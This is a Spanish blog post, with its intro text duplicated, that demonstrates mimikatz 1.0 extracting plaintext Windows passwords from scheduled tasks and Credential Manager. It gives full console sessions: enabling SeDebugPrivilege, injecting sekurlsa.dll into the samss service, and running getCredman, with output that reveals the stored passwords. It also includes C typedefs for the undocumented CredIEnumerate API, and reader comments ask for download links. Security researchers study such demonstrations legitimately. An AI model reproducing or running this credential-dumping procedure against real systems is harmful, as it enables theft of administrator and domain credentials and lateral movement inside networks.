Obteniendo con mimikatz las contraseñas en texto plano de las tareas programadas y del administrador de credenciales de Windows
Si recordáis, a principios del año pasado vimos lo fácil que era recuperar contraseñas en claro mediante la herramienta mimikatz. Resumiendo un poco, si se disponen de permisos de debug sobre el proceso del LSASS, esta herramienta inyecta una librería y obtiene la contraseñas en claro de dos proveedores de autenticación por defecto (Tspkg y Wdigest) que almacenan las credenciales de los usuarios de forma reversible.
Ahora su autor, el francés Gentil Kiwi, implementa y nos demuestra como obtener también las contraseñas en claro de las tareas programadas y del administrador de credenciales de Windows (contraseñas almacenadas de acceso a recursos compartidos, unidades de red, escritorios remotos, etc.).
Vamos a probarlo y para ello empezaremos creando una tarea programada de prueba con un usuario local del equipo:
Ahora ejecutaremos mimikatz como SYSTEM y probaremos el módulo 'divers::secrets':
Como véis las credenciales se almacenan en formato contraseña de dominio (CRED_TYPE_DOMAIN_PASSWORD) y no se muestran porque sólo pueden ser leídas por paquetes de autenticación de Microsoft (NTLM, Kerberos y otros paquetes de negociación de autenticación).
Veamos que lo mismo ocurre con las contraseñas almacenadas en el administrador de credenciales:
Una vez identificadas, se extrae desde el administrador de credenciales mediante CrediReadDomainCredentials y se descifra el buffer de memoria mediante la función LsaUnprotectMemory. Para ello, lo que haremos en esta ocasión es inyectar la librería sekurlsa.dll dentro del servicio de Administrador de cuentas de seguridad (samss) para extraer los hashes de las contraseñas y los systems secrets. Posteriormente y mediante el método getCredman obtendremos las contraseñas en claro... el resultado es espectacular ;):
Fuente: http://blog.gentilkiwi.com/securite/mimikatz/sekurlsa-credman
Ahora su autor, el francés Gentil Kiwi, implementa y nos demuestra como obtener también las contraseñas en claro de las tareas programadas y del administrador de credenciales de Windows (contraseñas almacenadas de acceso a recursos compartidos, unidades de red, escritorios remotos, etc.).
Vamos a probarlo y para ello empezaremos creando una tarea programada de prueba con un usuario local del equipo:
Ahora ejecutaremos mimikatz como SYSTEM y probaremos el módulo 'divers::secrets':
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>d:
D:\>cd mimikatz_trunk\x64
D:\mimikatz_trunk\x64>mimikatz.exe
mimikatz 1.0 x64 (RC) /* Traitement du Kiwi (Jan 8 2013 03:21:59) */
// http://blog.gentilkiwi.com/mimikatz
mimikatz # system::user
Utilisateur : DOMINIO\W7PTVMOTOS$
mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName : Domain:batch=TaskScheduler:Task:{8969C678-9214-4D2F-96F2-A7F5A89491EF} /
Type : DOMAIN_PASSWORD (2)
Comment :
UserName : DOMINIO\vmotos
Credential :
Como véis las credenciales se almacenan en formato contraseña de dominio (CRED_TYPE_DOMAIN_PASSWORD) y no se muestran porque sólo pueden ser leídas por paquetes de autenticación de Microsoft (NTLM, Kerberos y otros paquetes de negociación de autenticación).
Veamos que lo mismo ocurre con las contraseñas almacenadas en el administrador de credenciales:
mimikatz # system::user
Utilisateur : DOMINIO\vmotos
mimikatz # divers::secrets full
TargetName : Domain:target=TERMSRV/192.168.137.23 /
Type : DOMAIN_PASSWORD (2)
Comment :
UserName : DOMINIO\administrator
Credential :
Para obtener las contraseñas en este caso, mimikatz hace uso de CredIEnumerate (no documentado) que puede listar los secrets de una sesión en particular (no sólo la del usuario actual):typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
Una vez identificadas, se extrae desde el administrador de credenciales mediante CrediReadDomainCredentials y se descifra el buffer de memoria mediante la función LsaUnprotectMemory. Para ello, lo que haremos en esta ocasión es inyectar la librería sekurlsa.dll dentro del servicio de Administrador de cuentas de seguridad (samss) para extraer los hashes de las contraseñas y los systems secrets. Posteriormente y mediante el método getCredman obtendremos las contraseñas en claro... el resultado es espectacular ;):
D:\mimikatz_trunk\x64>mimikatz.exe
mimikatz 1.0 x64 (RC) /* Traitement du Kiwi (Jan 8 2013 03:21:59) */
// http://blog.gentilkiwi.com/mimikatz
mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # inject::service samss sekurlsa.dll
SERVICE(samss).serviceDisplayName = Administrador de cuentas de seguridad
SERVICE(samss).ServiceStatusProcess.dwProcessId = 676
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
Gentil Kiwi
SekurLSA : librairie de manipulation des données de sécurités dans LSASS
mimikatz # @getCredman full
Authentification Id : 0;999
Package d'authentification : Negotiate
Utilisateur principal : W7PTVMOTOS$
Domaine d'authentification : DOMINIO
credman :
* [0] Target : Domain:batch=TaskScheduler:Task:{8969C678-9214-4D2F-96F2-A7F5A89491EF} /
* [0] Comment :
* [0] User : DOMINIO\vmotos
[0] User : DOMINIO\vmotos
[0] Cred : Prueba123
Authentification Id : 0;12663081
Package d'authentification : Kerberos
Utilisateur principal : vmotos
Domaine d'authentification : DOMINIO
credman :
* [1] Target : Domain:target=TERMSRV/192.168.137.23 /
* [1] Comment :
* [1] User : DOMINIO\administrator
[0] User : DOMINIO\administrator
[0] Cred : Prueba123
mimikatz #
Fuente: http://blog.gentilkiwi.com/securite/mimikatz/sekurlsa-credman
gracias, excelente aporte, me salvó la vida!!!
ResponderEliminarExcelente aporte, podrian pasar el link para descargarlo se los agradeceria mucho, saludos
ResponderEliminarla version mimikatz 1.0 ????
Eliminarsi es en windows 8 o superior y con cuenta de microsoft funciona tambien?
ResponderEliminarPorfa, tutorial para win 8 o por lo menos quisiera saber si funciona para win 8.1
ResponderEliminar